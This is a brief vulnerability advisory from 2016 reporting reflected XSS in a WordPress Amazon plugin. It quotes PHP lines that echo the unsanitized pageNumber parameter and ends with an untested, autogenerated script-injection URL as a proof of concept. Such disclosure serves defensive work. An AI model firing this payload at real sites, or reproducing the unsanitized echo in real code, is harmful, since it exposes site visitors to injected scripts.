Advisory #: 260
Title: Reflected XSS in wordpress plugin betteramazonapi-amazon-plugin v1.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/betteramazonapi-amazon-plugin
Downloads: 3891
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: betteramazonapi-amazon-plugin
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./betteramazonapi-amazon-plugin/html/cache.php: 48: [<a href="<?php echo $homePath; ?>&betteramazonapiPage=view_cache&pageNumber=<?php echo $_GET['pageNumber']; ?>&action=block&keyword=<?php echo $word['keyword']; ?>&asin=<?php echo $item->ASIN; ?>" 52: [<a href="<?php echo $homePath; ?>&betteramazonapiPage=view_cache&pageNumber=<?php echo $_GET['pageNumber']; ?>&action=unblock&keyword=<?php echo $word['keyword']; ?>&asin=<?php echo $item->ASIN; ?>" The variable pageNumber appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./betteramazonapi-amazon-plugin/html/cache.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/betteramazonapi-amazon-plugin/html/cache.php?pageNumber="><script>alert(1);</script><"